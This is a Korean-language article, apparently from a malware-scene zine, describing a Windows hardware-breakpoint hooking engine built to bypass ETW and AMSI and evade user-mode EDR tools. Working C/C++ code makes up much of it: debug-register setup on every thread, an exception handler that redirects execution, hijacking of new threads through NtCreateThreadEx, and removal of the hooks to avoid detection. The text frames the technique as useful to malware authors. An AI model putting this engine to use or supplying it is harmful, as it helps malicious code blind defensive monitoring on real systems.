
디버그 레지스터를 사용하여 함수를 후킹하고 ETW/AMSI를 우회하며 사용자 영역 EDR 모니터링을 회피하는 Windows용 하드웨어 브레이크포인트 후킹 엔진입니다.
이 글은 원래 VX-Underground Black Mass Halloween Edition 2022를 위한 것입니다.
후킹 엔진:
디버그 레지스터를 활용하는 범용 x64 사용자 영역 회피 기법:
사용 가능한 ETW/AMSI 후킹 예제
우리의 임무는 함수를 손쉽게 후킹하고 필요에 따라 코드 흐름을 우회시킨 다음, 마지막으로 더 이상 필요하지 않게 되면 후크를 제거하는 것입니다.
IAT 후크를 적용하는 것은 고려할 수 없습니다. 항상 호출되는 것이 아니므로 신뢰할 수 없기 때문입니다. 인라인 후킹은 강력한 기법이지만, 코드가 있는 메모리를 패치해야 합니다. 이 역시 강력한 기법이지만, PE-Sieve나 Moneta 같은 도구는 메모리 상주 복사본과 디스크의 모듈 복사본 간의 차이를 구별하여 이를 플래그할 수 있습니다. 그래서 이 작업에는 디버그 레지스터(Debug Registers)라는 완벽한 도구가 남습니다. 하지만 악성코드 작성자들에게는 꽤 저평가되어 있습니다!
Windows에서 높은 수준으로 보면, 프로세스는 본질적으로 스레드의 캡슐화이며, 각 스레드는 레지스터와 스택 등 스레드의 상태인 컨텍스트를 유지합니다. 디버그 레지스터는 권한이 필요한 리소스이며, 설정 역시 마찬가지입니다. 그러나 Windows는 커널이 우리를 대신해 권한 있는 작업을 수행하도록 요청할 수 있는 다양한 syscall을 노출하며, 여기에는 우리에게 완벽한 디버그 레지스터 설정도 포함됩니다. NtSetThreadContext와 NtGetThreadContext는 필요한 권한으로 핸들을 열 수 있는 모든 스레드 컨텍스트를 수정할 수 있는 기능을 노출합니다. Win32 API를 사용하여 디버그 레지스터를 설정하는 방법을 볼 수 있습니다.```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
디버그 레지스터는 Dr0부터 Dr7까지 총 8개가 있습니다. 우리가 관심을 갖는 것은
중단하려는 주소를 저장하는 Dr0-3뿐이며, Dr6은 디버그
상태일 뿐입니다. 가장 중요한 것은 Dr7로, 프로세서가 예외를 발생시키는 중단점 조건을
설명합니다. 디버그 레지스터를 사용할 때는 다양한 제한 사항이 있습니다.
예를 들어 개수 제한(4개)과 모든 스레드/새로 생성된 스레드에 적용되지 않는 점 등입니다.
이러한 제한 사항 중 일부를 해결하는 방법을 살펴보겠습니다!
예외가 발생하면, 우리가 프로그램에서 정의하고 등록할 수 있는 예외 처리기를 찾습니다 [1].
정의된 예외 처리기에서는 해당 중단점이 트리거될 때 관련 코드(다른 코드 흐름)가
실행되기를 원합니다.```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
이것은 "callback" 람다 함수와 주소 사이의 매핑을 설정하는 생성자 함수에 의해 구현됩니다. using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;
우리는 모든 프로세스 스레드를 반복하면서 각각에 대해 컨텍스트에 해당하는 조정을 설정해야 합니다. 이는 ToolHelp32 헬퍼 함수들(CreateToolhelp32Snapshot, Thread32Next)을 사용하여 달성할 수 있습니다. 특별히 화려한 방법은 아니지만, 모든 스레드에 연결하지 못한다는 제약 중 하나를 해결해 줍니다.```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
하드웨어 브레이크포인트가 설정되어 있는 것은 악의적인 활동을 나타낼 수 있으므로 의심스러운 것으로 볼 수 있습니다(제가 아는 한 어떤 EDR도 이를 적극적으로 스캔하지 않지만). 이는 잠재적 IoC로 우리에게 사용될 수 있으므로 사용이 끝난 후에는 그 흔적을 제거해야 합니다.
우리는 이를 deconstructor 함수에서 구현할 수 있습니다!! 이 함수는 모든 스레드를 반복하며 레지스터 (&context.Dr0)[pos]가 우리가 처음에 하드웨어 브레이크포인트를 설정한 주소를 가리키는지 확인합니다(pos는 인덱스 % 4일 뿐이며 context.Dr0-Dr3에 접근할 수 있게 해줍니다). 또한 Dr7 레지스터에 필요한 조건을 제거할 수 있습니다. 매핑 항목을 제거하는 것도 잊지 말아야 합니다. 따라서 우리의 하드웨어 브레이크포인트는 필요한 시간 동안만 존재하게 됩니다!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);
하드웨어 중단점의 예로는 Sleep이 있는데, 여기서는 단순히 sleep 지속 시간을 0으로 대체합니다.```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
x64 Windows 4-레지스터 빠른 호출 규약[1] 때문에 RCX를 설정해야 한다는 것을 알고 있습니다. 생성자의 첫 번째 인자는 중단할 주소이고, 두 번째는 저장할 Dr0-3 레지스터입니다(한 번에 중단할 수 있는 주소는 4개뿐입니다). 세 번째는 PEXCEPTION_POINTERS를 참조로 캡처하는 람다 함수이며, 이는 예외 처리기가 수신할 정보입니다. 이를 통해 어떤 중단점이 트리거되었는지에 따라 프로그램의 흐름을 다르게 제어할 수 있습니다.
새 스레드가 생성되면, 새 스레드의 생성을 어떻게든 가로채지 않는 한 연결된 디버그 레지스터 세트를 상속하지 않습니다. 사용할 수 있는 멋진 트릭 하나는 실제 시작 주소를 캡처하고 새 스레드를 우회시켜 우리 자신의 스레드를 생성하게 하는 것입니다. 대부분의 새 스레드는 결국 NtCreateThreadEx를 호출하게 됩니다.```c // Global Variable PVOID START_THREAD{ 0 };
// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}
이 솔루션의 한 가지 제한 사항은 스레드의 호출 스택이 원래 스레드가 아닌 우리가 주입한 DLL의 HijackThread에서 시작된다는 점입니다! 또는 더 나은 솔루션은 NtCreateThreadEx를 직접 호출하되 중단된 상태로 시작한 다음 필요한 하드웨어 중단점을 설정하는 것입니다. 그런 다음 디버그 레지스터가 이 새 스레드에 설정된 상태로 중단된 스레드를 재개하여 실행을 복원합니다. 이는 디버그 레지스터 사용의 또 다른 제한 사항을 해결합니다.
중단점이 설정된 명령을 호출하면 무한 루프가 발생할 수 있습니다. 따라서 현재 RIP를 트리거하는 하드웨어 중단점을 일시적으로 비활성화합니다. 호출이 끝나면 다시 복원할 수 있습니다. 이렇게 하면 원래 함수를 (트램펄린처럼) 호출할 수 있습니다. 이 경우, RIP를 ret 가젯으로 지정하여 다른 syscall 명령을 실행하지 않고 반환할 수 있도록 해야 합니다.